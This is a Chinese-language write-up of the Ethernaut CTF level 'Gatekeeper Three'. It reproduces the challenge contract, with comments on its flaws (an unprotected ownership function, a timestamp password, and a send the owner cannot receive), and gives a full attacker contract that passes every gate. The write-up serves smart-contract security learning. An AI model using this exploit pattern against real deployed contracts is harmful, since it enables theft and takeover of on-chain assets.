28.Gatekeeper Three
2023-07-19 21:12:03 # 04.Ethernaut CTF

Gatekeeper Three

题目

要求:成功调用enter()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint private password = block.timestamp;

constructor (address payable _target) {
target = GatekeeperThree(_target);
}

function checkPassword(uint _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}

function trickInit() public {
trick = address(this);
}

function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
} // 没有被调用过,没用的函数
}

contract GatekeeperThree {
address public owner;
address public entrant;
bool public allowEntrance;

SimpleTrick public trick;

function construct0r() public {
owner = msg.sender;
}

modifier gateOne() {
require(msg.sender == owner); // 直接调用construct0r即可
require(tx.origin != owner); // 要用合约攻击
_;
}

modifier gateTwo() {
require(allowEntrance == true);
_;
}
// 1.创建一个trick:createTrick()
// 2.伪随机数,调用getAllowance()

modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
// 1.给这个合约转一点钱
// 2.owner是攻击合约,它没有fallback和receive来接收代币

function getAllowance(uint _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}

function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}

function enter() public gateOne gateTwo gateThree {
entrant = tx.origin;
}

receive () external payable {}
}

分析

常规,思路写在了题目的代码中

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pragma solidity 0.8.17;

contract attakcer{
GatekeeperThree instance;

// 0xdc3bd7142542B9f35F8A22fC066645eA602fe2A3
function attack(GatekeeperThree _addr) public payable {
instance = _addr;

// gate01
instance.construct0r();

// gate02
instance.createTrick();
instance.getAllowance(block.timestamp);

// gate03
// 0.001 ether + 1 wei = 1000000000000001
payable (address(instance)).transfer(1000000000000001);

// complete
instance.enter();
}
}

调用过程

成功

小插曲:当我将攻击逻辑写道constructor的时候,一直失败。原因:构造器是payable,可以接收代币,因为还在创建constructor状态